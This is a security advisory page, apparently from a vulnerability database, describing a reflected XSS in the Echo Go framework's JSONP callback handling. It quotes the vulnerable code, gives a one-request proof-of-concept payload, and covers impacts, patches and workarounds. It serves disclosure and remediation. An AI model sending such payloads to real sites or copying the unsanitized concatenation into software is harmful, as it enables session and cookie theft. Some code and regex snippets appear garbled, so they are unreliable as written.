PT-2026-129168

CVE-2026-118652

·

Publicado

2026-10-28

·

Atualizado

2026-10-28

Descrição por

CVSS 3.1
6.1
Média
MétricasAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.
This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.
Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

go
func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if , err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
		return
	}
	if , err = c.response.Write([]byte(");")); err != nil {
		return
	}
	return
}

func (c *Context) JSONP(code int, callback string, i any) (err error) {
	return c.jsonPBlob(code, callback, i)
}

func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if , err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if , err = c.response.Write(b); err != nil {
		return
	}
	 , err = c.response.Write([]byte(");"))
	return
}
No sanitization is performed on the callback string.

Exploit (one-request repro)

Any route using the official pattern is vulnerable:
Goe.GET("/api", func(c echo.Context) error {
  return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})
Attacker request:
GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com
Server response:
Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"});
→ Immediate arbitrary JavaScript execution (full reflected XSS).

Impact

  • Session hijacking, cookie theft, account takeover, keylogging, defacement.
  • Works even with strict CSP (response is served as application/javascript).

Affected Versions

  • All versions ≤ v5.1.0 (including current master)

Workarounds

Manually sanitize the callback before calling JSONP/JSONPBlob:
Gofunc safeCallback(cb string) string {
  if matched,  := regexp.MatchString(`^[a-zA-Z0-9 .[]]+$`, cb); !matched {
    return "callback"
  }
  return cb
}
Or migrate away from JSONP entirely (use CORS + application/json).

References

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z $][A-Za-z0-9 $]*(.[A-Za-z $][A-Za-z0-9 $]*)*$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.
Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Enumeração de fraquezas
CWE-79: Improper Neutralization of Input During Web Page Generation (\'Cross-site Scripting\')
Identificadores relacionados
CVE-2026-118652
GHSA-H9G5-28MM-HX3G
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com